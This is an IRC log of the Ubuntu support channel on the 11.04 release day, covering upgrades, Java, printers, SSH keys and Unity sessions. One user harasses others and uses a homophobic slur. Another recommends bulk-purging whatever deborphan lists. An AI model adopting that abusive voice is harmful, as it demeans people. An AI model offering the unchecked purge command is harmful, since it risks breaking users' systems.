[12:06] <curt> jrib: ok... I was thinking maybe something like tune2fs (or whatever it;s called might help out... no?
[12:06] <ubottu> DaSMarK: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[12:06] <Tatarin> Hi all.
[12:06] <DaSMarK> i already tried
[12:06] <curt> jrib: OK ... I was thinking maybe something like tune2fs might help... no?
[12:06] <DaSMarK> i want backuop my whole system
[12:06] <Tatarin> are there russians?
[12:06] <Fudge> velcroshooz  yeah he did install them bu tinstalled new kernel few days ago and just noticed cheese isnt working with cam
[12:06] <jrib> curt: well if you're saying 9.04 can't access ext4 (which is weird because you should just be able to mount it as ext2), then the easiest thing for you to do is just use the desktop cd
[12:06] <Fudge> its 10.04
[12:06] <jrib> DaSMarK: read the link ubottu sent you
[12:07] <jrib> !ru | Tatarin
[12:07] <ubottu> Tatarin: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[12:07] <narf_> Barnabas, tx
[12:07] <velcroshooz> Fudge, hm i cannot say then, i am running 10.10 and am not having issues.
[12:07] <Fudge> velcroshooz  thanx for head sup anyway mate
[12:07] <shadowlemon> what's the release time of natty? is there anyone who knows
[12:07] <nathanforbes> 11.04 just dropped
[12:07] <jrib> shadowlemon: when it's ready, as usual
[12:07] <herc_> it's released
[12:07] <nathanforbes> at 7am here
[12:07] <MaRk-I> it's about to get released ....
[12:07] <curt> jrib: thanks, I'll give it a shot... unless... if I boot to the new Meerkat, might I be able to move those files from the 9.04, rather than the other way ;round (which didn't work)
[12:08] <jrib> Join #ubuntu-releasy-party to announce the release of natty.  Let's try to keep this channel usable for people looking for support
[12:08] <shadowlemon> lol! lmao
[12:08] <phoque_uni> MaRk-I, it has been
[12:08] <shadowlemon> i just like refreshed my page 5 minutes ago
[12:08] <shadowlemon> and now it's there
[12:08] <sweb> ubuntu 11.04 do not have netbook v ?
[12:08] <MaRk-I> phoque_uni: nope not officially
[12:08] <jrib> curt: yes, if you already have meerkat installed on a separate partition, that would work too.
[12:08] <llutz_> curt: meerkat reads/writes ext2/3/4 fine. just mount your jaunty-fs and copy
[12:08] <nathanforbes> sweb, its all the same now
[12:08] <txomon> anyone knows if there is any plugin/mod for outlook support of OpenPGP?
[12:09] <jamey-uk> who do I tell about problems with the ubuntu.com website? "How can it be free?" on the new home page 404s
[12:09] <jaredquinn> sweb: read the release notes.
[12:09] <curt> Cool! that would definitely be the easiest then... thanks!!
[12:09] <^Phantom2^> !sunjava
[12:09] <ubottu> To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[12:09] <phoque_uni> MaRk-I, http://www.ubuntu.com/download/ubuntu/download yeah, it is.
[12:09] <phoque_uni> this is the official download-wizard, mind oyu
[12:09] <^Phantom2^> !multiverse
[12:09] <ubottu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/project/about-ubuntu/components - See https://wiki.ubuntu.com/RecommendedSources for the recommended way to set up your repositories
[12:09] <hungryhubby> how to report a bug about my screen in lucid going blank
[12:10] <usalabs> Hi everyone, I updated from Lucid to Meerkat, and I keep having the main panel icons swap around every-time I power on the PC, all items on that panel are locked, which should stop them moving, but somehow they move around the panel and not in the positions I put them
[12:10] <MaRk-I> phoque_uni: is not but ok, if you say so
[12:10] <phoque_uni> MaRk-I, take a closer look
[12:10] <ashmew2> How can i make sure that my android phone and ubuntu both are using the USB 2.0 ?
[12:10] <crus> When i follow the instructions for upgrading from Ubuntu 10.10 to 11.04 im told theres no new releases found :?
[12:10] <shadowlemon> rofl, ubuntu website looks kinda fucked right now..
[12:11] <phoque_uni> shadowlemon, Ctrl+F5 a few times, it'll realign
[12:11] <thegoodcushion> What's the support like in Ubuntu for cheap inkjet printers?  There are some cheap printers available and I'm thinking of getting one for Ubuntu
[12:11] <sweb>  jaredquinn, so ubuntu netbook and desktop are same
[12:11] <sweb> ?
[12:11] <shadowlemon> phoque_uni: that's what i've been doing actually for the last 2 min ;)
[12:11] <scoundrel50a> yes, they are the same
[12:11] <curt> One more thing... I've read over the years that upgrades from one release to the next Ubuntu release has caused problems - is this an ongoing thing?
[12:11] <phoque_uni> hmm, weird
[12:11] <jaredquinn> sweb: for 11.04 yes.
[12:11] <usalabs> ahh ok thanks phoque_uni
[12:11] <phoque_uni> it was fine after maybe two tries
[12:11] <velcroshooz> thegoodcushion, most hp's are very well supported, i would not go with an offbrand.
[12:11] <ashmew2> curt: might happen , depends..
[12:12] <shadowlemon> STOP CHANGING YOUR NAME ffs
[12:12] <jaredquinn> sweb: It comes with both Gnome (Classic) and Unity.  You can select from login
[12:12] <shadowlemon> it's fucking annoying, kick those noobs
[12:12] <sweb> thank you guys . happy new UBUNTU <3
[12:12] <thegoodcushion> velcroshooz: well the deskjet 3050 is $48 at Officeworks
[12:12] <ashmew2> !language | shadowlemon
[12:12] <ubottu> shadowlemon: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[12:12] <thegoodcushion> velcroshooz: you reckon the HP 3050 will be supported?
[12:12] <jrib> curt: should be fine.  Upgrades have always worked well for me.  But you should have backups just in case
[12:12] <thegoodcushion> velcroshooz: I want to print source code with colour coding from gedit
[12:12]  * jaredquinn has got a little crush on Unity at the moment.
[12:12] <jamey-uk> mmmm Unity
[12:12] <jrib> !printing | thegoodcushion
[12:12] <ubottu> thegoodcushion: Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://linuxprinting.org - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[12:13] <pippo> hi!
[12:13] <jrib> thegoodcushion: mine works automatically when I plug it in (some cheap canon s300 (I think)).  Just check those lists and others' experiences before buying
[12:13] <^Phantom2^> do I have the right repositories for getting Sun Java?  http://pastebin.com/cwaDmyTX
[12:13] <curt> jrib: always makes me a bit too nervous to attempt - I'll have to get another 2TB drive and make an exact copy before trying it... just to be safe
[12:13] <velcroshooz> thegoodcushion, i am unsure of that specific model, your best bet is to google the model name and number, along with linux + ubuntu, see what kind of reviews or issues people are having.
[12:13] <NetM> Why i cant do upgade? Says no new release found :P
[12:14] <jrib> NetM: because it's not out yet, be patient in #ubuntu-releasy-part :)
[12:14] <ashmew2> NetM: #ubuntu-release-party
[12:14] <jrib> NetM: because it's not out yet, be patient in #ubuntu-releasy-party :)
[12:14] <AceKing> Can someone post a torrent link for 11.04 32 bit download? The link on the Ubuntu site is not working
[12:14] <phoque_uni> NetM, it takes time to distribute the new release among mirrors
[12:14] <NetM> oh! thank you jrib and ashmew2
[12:14] <jrib> AceKing: because it's not out yet, be patient in #ubuntu-releasy-party :)
[12:14] <ashmew2> NetM: np :)
[12:14] <sweb>  jaredquinn, lock at this torrent links http://www.ubuntu.com/download/ubuntu/alternative-download#bt
[12:14] <pippo> could someone tell me when the new release will ready?
[12:14] <AceKing> Jrib, ok, thank you for letting me know
[12:14] <ashmew2> jrib: you must be keeping that statement on ur clipboard lol :P
[12:15] <zvacet> ^Phantom2^: remove # from deb http://archive.canonical.com/ubuntu maverick partner
[12:15] <jrib> pippo: when it's ready, await the announcement in #ubuntu-release-party :)
[12:15] <curt> ashmew2: any advice on what the upgrade might depend on... personal experience, or hearsay?
[12:15] <jaredquinn> sweb: yes
[12:15] <tomasz> ok is on official page 11.04 !!
[12:15] <usalabs> is 11.04 available in the update manager yet?
[12:15] <sweb> jaredquinn, desktop and netbook not smae
[12:15] <sweb> same*
[12:15] <reves> i thought they were merging netbook and desktop releases together with 11.04! why is there still a distro for each?
[12:15] <jaredquinn> reves: they have.
[12:15] <jrib> curt: lots of unofficial repositories will decrease your likelihood of a smooth experience
[12:15] <zvacet> ^Phantom2^: save and close and then sudo apt-get update
[12:15] <reves> jaredquinn: the download options say otherwise
[12:16] <^Phantom2^> zvacet, done, and doing command, thanies
[12:16] <Lungan> Wich time does upgrade appear in update manager?
[12:16] <^Phantom2^> thankies
[12:16] <curt> jrib: ahh.. obvious but I hadn't thought of that
[12:16] <sweb>  jaredquinn, which one that for my netbook ?
[12:16] <zvacet> ^Phantom2^: yw
[12:16] <ashmew2> curt: well tbh ive never upgraded myself..but im guna do that this time from 10.10 to 11.04.....sometimes breakage occurs if you have outdated hardware i think...and maybe because the things that you had like a library 2.1 , in the new repo, it may be a library 3.0...its worth the try imo..you can always do a fresh install after that
[12:16] <ashmew2> sorry long msg
[12:16] <jrib> curt: yeah, really it will only matter if you use repositories that affect core packages.   Otherwise, everything should be okay (check release notes of course)
[12:17] <vibhav> is it released?
[12:17] <shmoolikipod> vibhav,  not yet
[12:17] <jrib> vibhav: because it's not out yet, be patient in #ubuntu-releasy-party :)
[12:17] <DJKorbit> hi
[12:17] <KM0201> !isitout
[12:17] <ubottu> Not yet! But you can join #ubuntu-release-party and await release with the other excited folks :D
[12:17] <curt> Ashmew2: jrib: good advice thanks to both of you.
[12:17] <curt> happy release day!
[12:17] <DJKorbit> how can i set unity as my default desktop?
[12:17] <vibhav> http://www.ubuntu.com/ shows a del laptop
[12:17] <vibhav> http://www.ubuntu.com/ shows a dell laptop
[12:17] <ashmew2> :)
[12:17] <FloodBot2> vibhav: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:17] <cousin_mario> DJKorbit: Are you a masochist perhaps?
[12:17] <DJKorbit> choosing "Ubuntu" from gdm combobox doesn't work
[12:17] <velcroshooz> DJKorbit, unity is the default in 11.04
[12:17] <jrib> DJKorbit: if you select it at the login screen, your choice should be remembered
[12:18] <exalt> hello, i try to install natty by usb but i always get an "stdin: error 0" error, md5 hashes matches and i use unetbootin to create the disk
[12:18] <^Phantom2^> zvacet, which sun-java-* should I install?  sun-javadb-common, sun-javadb-javadoc, sun-javadb-client, sun-javadb-core, sun-java-demo, or sun-javadb-doc?
[12:18] <DJKorbit> velcroshooz, only if you have 3d acceleration, which i didn't because nvidia drivers were not working
[12:18] <velcroshooz> DJKorbit, ah yes, that is true
[12:18] <jrib> !java | ^Phantom2^
[12:18] <ubottu> ^Phantom2^: To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[12:18] <DJKorbit> i have 3 options, Ubuntu, Ubuntu Classic and Ubuntu Classic (no effects)
[12:18] <usalabs> as 11.04 is available on the main site, when would it be available in the update manager?
[12:19] <shmoolikipod> it is out !
[12:19] <theGreatDane> im setting up key based ssh login
[12:19] <theGreatDane> what permissions should i use on the dir 'authorised_keys'
[12:19] <jrib> vibhav: it's not out yet (probably soon), be patient in #ubuntu-releasy-party :)
[12:19] <DJKorbit> i was using the "no effects" option because nvidia drivers were not working, the package was broken in the repository
[12:19] <theGreatDane> ?
[12:19] <cousin_mario> usalabs: nice question
[12:19] <tomasz> usalabs update is more dificult than install fresh
[12:19] <jrib> usalabs: it's not out yet (probably soon), be patient in #ubuntu-releasy-party :)
[12:19] <zvacet> ^Phantom2^: I don't know witch one you want in partner repo is sun-java6-jre
[12:19] <DJKorbit> i was able to install nvidia-173 package today and got 3d working but if i choose the default desktop, it goes to the classic, and not unity
[12:19] <usalabs> ok, thanks, I'll wait
[12:19] <DJKorbit> how can i set unity as default by hand?
[12:20] <ashmew2> how do i make sure Ubuntu is using USB 2.0 ?
[12:20] <^Phantom2^> according to that tinyurl in the trigger, sun is not available for 10.10
[12:20] <zvacet> ^Phantom2^:I think that you have openjdk by default
[12:20] <jrib> ^Phantom2^: it is.  In the !partner repositories
[12:20] <AceKing> jrib, I bet you wish you had a dollor for everytime you have to say that today! LOL
[12:20] <^Phantom2^> Yes, I have openjdk
[12:20] <AceKing> Dollar
[12:20] <jrib> AceKing: :)
[12:20] <jaredquinn> DJKorbit: Unity should be default on 11.04... and you select it from the sessions list at login if it isn't
[12:21] <^Phantom2^> I'm being told I need sun to continue running minecraft
[12:21] <jrib> ^Phantom2^: then enable the !partner repositories and install sun java
[12:21] <^Phantom2^> !partner
[12:21] <ubottu> Canonical's partner repositories provide packages a location for software vendors to publish applications. The repo itself can be added by running this in a !terminal: « sudo add-apt-repository "deb http://archive.canonical.com/ $(lsb_release -sc) partner" »
[12:21] <DJKorbit> jaredquinn, doesn't work, there must be a way to defined it somewhere in a file
[12:21] <stREaKer> I dont get sound on my onboard sound driver
[12:21] <zvacet> ^Phantom2^: then install sun-java6-jre from synaptic
[12:21] <jaredquinn> DJKorbit: that sounds like the drivers weren't working properly and therefore it fell back to default.
[12:22] <DaSMarK> hello i need help. i deleted /home/user/.bashrc* and /root/.bashrc*
[12:22] <DaSMarK> is it wrong ??
[12:22] <jrib> DaSMarK: it's not wrong.  But if you want to restore it, you can find a copy in /etc/skel/
[12:22] <DJKorbit> jaredquinn, but they are working properly because i can run unity from the terminal and it works perfectly
[12:22] <stREaKer> Am using P67A-UD3R motherbaord and the on board sound driver is not working on ubuntu 10.10
[12:22] <DaSMarK> thanks
[12:22] <thegoodcushion> jrib: thanks, I'm looking through the online stuff and it seems hit and miss
[12:22] <ashmew2> streaker : paste the Audio Multimedia line from the output of lspci
[12:22] <stREaKer> ashmew2: How to do that
[12:23] <ashmew2> Applications (top left corner) > Accessories > Terminal
[12:23] <jrib> thegoodcushion: if you want mine and are in the boston area, I was about to toss it in the dumpster (it works fine, just don't use it anymore)
[12:23] <zvacet> ^Phantom2^: read https://help.ubuntu.com/community/Java
[12:23] <^Phantom2^> I keep getting zero results for java6
[12:23] <ashmew2> streaker: enter the command in the terminal
[12:23] <DJKorbit> jaredquinn, maybe there is a key in gconf that defines the default desktop, do you have any idea?
[12:23] <thegoodcushion> jrib: No I'm not near there
[12:23] <Brian911> Good evening. I feel stupid, but how do I update my version of Ubuntu?
[12:23] <jrib> thegoodcushion: ok :)
[12:23] <akashm1990> ubuntu+1 is invite only?
[12:23] <jaredquinn> DJKorbit: definitely not a key in gconf.. how could it be?  gconf is a gnome concept
[12:23] <jrib> !upgrade | Brian911
[12:23] <ubottu> Brian911: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[12:24] <jaredquinn> DJKorbit: seriously, it's your Xsession
[12:24] <Brian911> Cool. Thanks! have a great night
[12:24] <ashmew2> akashm1990: says the same to me
[12:24] <^Phantom2^> how interesting
[12:24] <jrib> Brian911: keep in mind that 11.04 is not released yet, so you'll have to wait a bit
[12:24] <^Phantom2^> terminal and synaptic both couldn't find it
[12:24] <^Phantom2^> but the link on that page you linked me is getting it installed
[12:24] <^Phantom2^> thankies :D
[12:24] <jaredquinn> DJKorbit: so you can launch Unity from the terminal and it works, but what about everything else that supports it in the session, like compiz failing \(which is the likely culprit if your vid drivers are not quite right)
[12:24] <Brian911> Oh.  I think I am off by a day or two.  Thanks for the link though. I'll go study
[12:25] <zvacet> ^Phantom2^: is everything ok now
[12:25] <DJKorbit> jaredquinn, i've found the problem, i had "exec metacity --replace" in my .xinitrc because unity was not working
[12:25] <DJKorbit> jaredquinn, i'll just delete my .xinitrc
[12:25] <jaredquinn> DJKorbit: told you..  it was your session :)
[12:25] <^Phantom2^> zvacet, appears so
[12:25] <stREaKer> ashmew2: http://pastebin.com/GHdNFGMT
[12:25] <jrib> Brian911: once maverick is released update-manager just pops up and asks you if you want to upgrade :)
[12:25] <^Phantom2^> zvacet, i'll come back if minecraft keeps closing itself under sunjava
[12:25] <zvacet> ^Phantom2^: good  8-)
[12:25] <DJKorbit> jaredquinn, thanks ;) (let me try it)
[12:25] <burg> hhello. why is 32 bit 11.04 ubuntu recommended? does the 64 bit version have more bugs?
[12:26] <rgr> is natty as buggy as was predicted?
[12:26] <vibhav> why am I banned again!!!!
[12:26] <erry> my friend has a prob with his soundcard
[12:26] <erry> :3
[12:26] <raju> .Hello friends ...upto now i survived with free live cd from ubuntu .now they had stopped free delivery . i am out of internet . can any one help me how can i get live cd's . i am very eager to try 11.04 .
[12:26] <zvacet> ^Phantom2^:ok
[12:26] <vibhav> why am I banned again!!!!
[12:26] <ashmew2> streaker: Just needed this line : 01:00.1 Audio device: ATI Technologies Inc Cypress HDMI Audio [Radeon HD 5800 Series] :P
[12:26] <vibhav> I did not spam now....Un ban me
[12:26] <phoque_uni> vibhav, because you were sending people DCCs
[12:26] <jaredquinn> raju: it should be all over the coverdisks of computer magazines in news agents within a few weeks
[12:26] <paranox> dear #ubuntu
[12:26] <thegoodcushion> Does anyone here wish to make a recommendation about a cheap inkjet printer that has at least 3 colours plus black that works well with Ubuntu?
[12:26] <Internat> vibhav: cause you keep being special.
[12:26] <buzzkill> vibhav:  because you are annoying
[12:26] <paranox> the adsl is very slow in my grandma's basement
[12:26] <vibhav> what is DCC
[12:26] <rgr> thegoodcushion: go HP
[12:27] <niels1> Why isn't ubuntu 11.04 in the repo's yet?
[12:27] <paranox> what should i do?
[12:27] <^Phantom2^> it usually closes itself after about 5 minutes
[12:27] <jaredquinn> thegoodcushion: yeah any cheap HP or Brother will do the job..
[12:27] <stREaKer> ashmew2: what does it mean to you? :P I have selected the default playback ... works on both the card and USB device
[12:27] <vibhav> <buzzkill> why was i annoying??
[12:27] <paranox> Black_Phantom: you are annoying
[12:27] <^Phantom2^> so time will tell, zvacet
[12:27] <DJones> raju: You'll probably find that most linux magazines will have cover cd's with 11.04 on fairly soon
[12:27] <rgr> paranox: move to your Mom's basement.
[12:27] <raju> jaredquinn:  to india also ?
[12:27] <MaRk-I> vibhav: I suggest you be quiet while you're here or go to #ubuntu-ops and ask
[12:27] <paranox> rgr: she is still on dialup
[12:27] <damicita> i have canon mp210  printer and works great with my unbutu
[12:27] <Black_Phantom> paranox Elaborate and justify.
[12:27] <thegoodcushion> jaredquinn: Well Officeworks is selling a couple of cheap HPs but I can't find them on the hardware lists
[12:27] <raju> DJones: ^^^
[12:27] <jaredquinn> thegoodcushion: which ones?
[12:27] <paranox> Black_Phantom: elaborate and justify what?
[12:27] <thegoodcushion> HP Deskjet 3050 jaredquinn
[12:27] <jrib> niels1: it's not out yet, be patient in #ubuntu-releasy-party :)
[12:27] <Black_Phantom> paranox how am I annoying you ?
[12:27] <theGreatDane> im confused about ssh with key... i generated a public and private key, google says put the publc key in /root/.ssh/authorized_keys... BUT, where do i put the private key?
[12:28] <Black_Phantom> I literally just joined.
[12:28] <thegoodcushion> jaredquinn: and deskjet 2000
[12:28] <rgr> Black_Phantom: and then demended he justified his Q.
[12:28] <zvacet> ^Phantom2^:you are right
[12:28] <paranox> i forget
[12:28] <jrib> theGreatDane: on the client
[12:28] <^Phantom2^> zvacet, did it again
[12:28] <paranox> Black_Phantom: what did you say before i said whatever i said?
[12:28] <Black_Phantom> Nothing
[12:28] <paranox> i can't keep up with all these fat nerds
[12:28] <paranox> let me investigate
[12:28] <pygreen> my brother printer always steals the first two centimeters of the page, there's nothing i can do :D
[12:28] <jrib> paranox: please be respectful of others in this channel
[12:28] <DJKorbit> jaredquinn, didn't work, i've also deleted .dmrc and didn't work
[12:28] <rgr> crikey, what a noise. No wonder Ubuntu is considered the fanboi distro.
[12:29] <vibhav> IS it released GUYS?
[12:29] <DJKorbit> jaredquinn, what do you have in your .dmrc? i have "session=gnome"
[12:29] <^Phantom2^> zvacet, I'll try wiping and re-installing minecraft
[12:29] <velcroshooz> it is release day, of course there is traffic
[12:29] <jrib> vibhav: #ubuntu-release-party
[12:29] <DarkStar1> Hello people, I'm trying to integrate ldap with samba and stumbling when trying to add the schema to ldap using: ldapadd -x -D cn=admin,cn=config -W -f /tmp/cn\=samba.ldif. I get the error: ldap_bind: Invalid credentials (49)
[12:29] <paranox> Black_Phantom: oh yeah i get it now
[12:29] <raju> DJones:  i have a old ubuntu dvd  , which have several pakg's i wanna install all those pkg's into my pc . how can i do that .
[12:29] <paranox> Black_Phantom: i meant buzzkill
[12:29] <paranox> buzzkill: you are annoying
[12:29] <Black_Phantom> Cool.
[12:29] <vibhav> jrib : I am banned there
[12:29] <vibhav> jrib :IDK why
[12:29] <paranox> Black_Phantom: that's what i said to you? "you are annoying"?
[12:29] <jrib> vibhav: #ubuntu-ops
[12:29] <zvacet> ^Phantom2^:are you sure you are using sun-java6-jre in terminal  sudo update-alternatives --config java
[12:30] <Black_Phantom> <paranox> Black_Phantom: you are annoying
[12:30] <stREaKer> anyone can help?
[12:30] <vibhav> jrib : what do I do there?
[12:30] <^Phantom2^> Yeah, I told it to launch with sun
[12:30] <jaredquinn> DJKorbit: I don't have a few locale settings and no session value
[12:30] <Oday> hi
[12:30] <jrib> vibhav: you can sort out why you are banned
[12:30] <vibhav> <stREaKer> Yes?
[12:30] <Oday> can I trust Computer Janitor?
[12:30] <paranox> Black_Phantom: ok cool
[12:30] <paranox> buzzkill: you are annoying
[12:30] <stREaKer> Am using P67A-UD3R motherbaord and the on board sound driver is not working on ubuntu 10.10
[12:30] <Oday> will remove all UNNECESSARY packages?
[12:30] <^Phantom2^> Yeah, I told it to launch with sun @ zvacet*
[12:30] <jaredquinn> DJKorbit: sorry that was.. I have a few locale type things and nothing session related.
[12:30] <stREaKer> http://pastebin.com/GHdNFGMT
[12:30] <DJKorbit> jaredquinn, i'll try deleting the session=gnome then
[12:31] <zvacet> ^Phantom2^: sorry then I can not think of any thing else
[12:31] <thegoodcushion> jaredquinn: are you looking something up?
[12:31] <soulfly> how do i upgrade from beta 2 ?
[12:31] <stREaKer> vibhav: any idea ?
[12:31] <jatt> Oday: better use debfoster and deborphan directly, Computer Janitor is junk
[12:31] <jaredquinn> DJKorbit: that would just be used by login to pick the default one. you should still be able to select it at login
[12:31] <Macer> hello
[12:31] <^Phantom2^> zvacet, me either
[12:31] <jaredquinn> thegoodcushion: i was having a bit of a look
[12:31] <vibhav> <stREaKer> lemme see
[12:31] <jaredquinn> thegoodcushion: it looks like it supports wifi?
[12:31] <^Phantom2^> I'm trying a fresh install of it
[12:31] <Oday> how can i do that, jatt? and what about the "apt-get autoremove" command?
[12:31] <jiltdil> hi ubuntu 11.04 is out
[12:31] <zvacet> soulfly: with updates
[12:31] <paranox> dim_: you are annoying
[12:31] <thegoodcushion> jaredquinn: yes
[12:31] <jaredquinn> thegoodcushion: so network printing using something like hpjetdirect i guess
[12:31] <paranox> Mitchell_: you are annoying
[12:31] <jaredquinn> thegoodcushion: which is pretty standard.
[12:31] <paranox> tPl0ch: you are annoying
[12:31] <garyvalencia> Need some help with ICE and status 256 errors messages
[12:32] <paranox> Naib: you are annoying
[12:32] <Oday> stop that, paranox
[12:32] <jaredquinn> thegoodcushion: there are reports of people getting it working on 10.10 if you just google "Ubuntu HP 3050"
[12:32] <KNUBBIG> In my update-manager, the check fails because some of the PPAs I added don't have natty versions yet (I'm on beta2). Will this affect me being able to upgrade to release?
[12:32] <thegoodcushion> jaredquinn: well that's all very well for Windows but what about Ubuntu?
[12:32] <soulfly> I"m trying to update from beta 2 with update manager but says no updates
[12:32] <jatt> Oday: yeah that's good but deborphan will probably find more unused packages for you
[12:32] <zvacet> ^Phantom2^: I believe you do
[12:32] <tuhin> how to upgeade kernel from 2.6.35-22 to latest 2.6.38?
[12:32] <Naib> paranox: ?
[12:32] <raju> Oday:  apt-get autoremove will clear the useless pkg's in u r PC
[12:32] <vibhav> <tuhin> use update-manager
[12:32] <paranox> Naib: yeah?
[12:32] <jaredquinn> thegoodcushion: as i said. it's pretty standard.. i've been printing with hpjetdirect from UNIX boxes for 15 years.
[12:32] <jiltdil> it is out but there is no link to downloading it perhaps in 1 or 2hrs it should be start downloading
[12:32] <Naib> paranox: and you smell like week old pickles
[12:33] <jrib> paranox: stop telling people they are annoying.  THAT is annoying
[12:33] <velcroshooz> servers need time to propagate the new iso's, an official release worldwide is going to take some time.
[12:33] <paranox> Naib: why would you say that to me?
[12:33] <zvacet> KNUBBIG: in source list disable these ppa by putting # in front of their lines
[12:33] <paranox> Naib: you are a gay cunt
[12:33]  * jiltdil good news it is downloading now
[12:33] <jamey-uk> someone is raping the ubuntu repo servers... oh wait
[12:33] <jrib> bye*
[12:34] <KNUBBIG> zvacet, hm ok thx
[12:34] <jaredquinn> zvacet: Doesn't the update-manager do that for you?
[12:34] <burg> hhello. why is 32 bit 11.04 ubuntu recommended? does the 64 bit version have more bugs?
[12:34] <txomon> notepad++ in linux?
[12:34] <jaredquinn> burg: 32bit has always been more widely tested
[12:34] <txomon> burg, is more stable the 32 bit one
[12:34] <raju> txomon:  get wine  man
[12:34] <obengdako> why is the 32bit version recomended i currently use a 32bit on a 64bit machine and was hoping to switch to 64bit but the recommended there makes me wonder if i'll then have trouble with lib32 and stuff in order to run 32bit apps any ideas?
[12:34] <stREaKer> no one here on sandy bridge?
[12:34] <KM0201> spread the word, it's finally out!...lol
[12:34] <ashmew2> do you get op status all of a sudden or are you already an OP and stay undercover :P
[12:34] <txomon> raju, no wine, want native
[12:34] <^Phantom^> zvacet, so far so good (fresh install)
[12:34] <zvacet> jaredquinn: maybe I'm not sure but a way I told it iss for sure
[12:35] <Naib> ooo release says it is out
[12:35] <jrib> burg: use 64bit if you want to, there's no real reason to use 32bit if your computer can use 64bit
[12:35] <velcroshooz> burg, most software is still written for 32 bit. some proprietary apps are not going to run on 64 bit without a chroot or multilib setup. It just means 32 bit is better supported at the moment.
[12:35] <marcusb> you bloody idiots: who made the popup window with the new-version-announcement that steals the keyboard focus?
[12:35] <raju> txoman gedit will do everything
[12:35] <jiltdil> burg:just use 64bit
[12:35] <eltigre> Hey, I am having trouble with defective packages
[12:35] <marcusb> Ubuntu is a clusterfuck.  I'm out of here.
[12:35] <^Phantom^> oh dangit!
[12:35] <txomon> raju, no, it hasn't got nftp ^^
[12:35] <^Phantom^> zvacet, force closed again
[12:35] <jrib> obengdako: 64bit works fine
[12:36] <jatt> 64bit is good for servers
[12:36] <jrib> eltigre: you have to be more specific
[12:36] <eltigre> how can I repair defective packages?
[12:36] <jatt> but for the desktop is an overkill
[12:36] <mythri> hello everyone i m new to ubuntu..i need to backup..wat does ROOT folder mean..wil it have my documents in it
[12:36]  * jrib embraces for impact
[12:36] <raju> txomon:  i cant find that ...please retype man
[12:36] <jrib> mythri: can you provide full context?
[12:36] <Sidewinder1> It has now been officially announced: 11.04 IS OUT!
[12:36] <jatt> old news
[12:36] <ashmew2> mythri: http://www.psychocats.org/
[12:36] <Oday> when i put "deborphan" in terminal, i get a list of packages, this tool just finds the orphaned packages for me?
[12:36] <eltigre> jrib: So far I am only getting messages that I have to repair them
[12:37] <velcroshooz> mythri, the user you login with is going to have your settings
[12:37] <obengdako> jrib, what about whay velcroshooz said?
[12:37] <eltigre> not really which ones... and apt-get -f install doesn't work either
[12:37] <jrib> eltigre: messages where?
[12:37] <zvacet> ^Phantom^:I'M not a gamer so all I can help you with is to install java package sorry maybe someone else know better
[12:37] <Ymer-> !backup | mythri
[12:37] <jatt> Oday: try
[12:37] <ubottu> mythri: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[12:37] <jatt> deborphan | xargs -i apt-get --purge remove "{}"
[12:37] <jatt> this will remove them.
[12:37] <jrib> mythri: ask him to name the software and see if it affects you :)  (there isn't much)
[12:37] <eltigre> jrib, synaptic and apt-get
[12:37] <jatt> Oday: with sudo of course
[12:37] <ashmew2> mythri: http://www.psychocats.net/ sorry its .net not .org
[12:37] <jrib> eltigre: and what's the exact message you receive from apt-get?
[12:38] <velcroshooz> obengdako, by proprietary i mean games and the like, most apps are going to run fine in 64 bit. very few are going to be 32 bit specific these days.
[12:38] <jrib> Oday: there's not much use for deborphan nowadays.  That functionality is built into apt-get now
[12:38] <mythri> jrib, i have to reinstall the ubuntu ......before that i was tryin to recover my ubuntu documents and files from windows xp partition..my ubuntu doesnt work now
[12:38] <^Phantom^> that's okay, zvacet, I think I might poke around their forums and see if they know anything
[12:38] <txomon> raju, it is a plugin in which you have a local cache copy of the server files you open, and while edditing them, changes are stored in cache
[12:38] <raju> txomon:  had u poke the google about this
[12:38] <txomon> and when you save they are uploaded
[12:38] <thien> somebody please send me download link of ubuntu 11.04
[12:38] <jatt> still deborphan finds unused packages which apt-get doesn't
[12:38] <padi999_> hi all. I can use ping from cmd-line fine but I cannot ping any server using the ubuntu built in Network Tools Ping. It always receives 0 packages. I changed the interface under "Devices" to wlan0 but still, no result
[12:39] <jrib> obengdako: ask him to name the actual software and see if it affects you (there isn't much)
[12:39] <ashmew2> thien: join #ubuntu-release-party
[12:39] <mythri> jrib, when  i did that i only got a back of ROOT.DISK
[12:39] <eltigre> jrib: I only have the German version, but roughly: aborting due to problems in pkgProblemResolver::Resolve
[12:39] <dd214> My UPDATE MANGER reads: "New Ubuntu release '11.04' is available!
[12:39] <Oday> they were all given the Abort choice, jrib
[12:39] <jiltdil> thien:just go to ubuntu home page
[12:39] <obengdako> velcroshooz, so won't installing lib32 and stuff solve those issues because i don't want to have to switch back and forth and can you name some?
[12:39] <txomon> raju, yes, but didnt find nothing reliable
[12:39] <raju> txomo : code.google.com/p/gedit-ftp-browser/ - Similar
[12:39] <jrib> eltigre: you're trying to upgrade?
[12:39] <rapha> Hi alll!
[12:39] <^Phantom^> zvacet, i'm gonna try playing offline
[12:39] <eltigre> jrib, not really
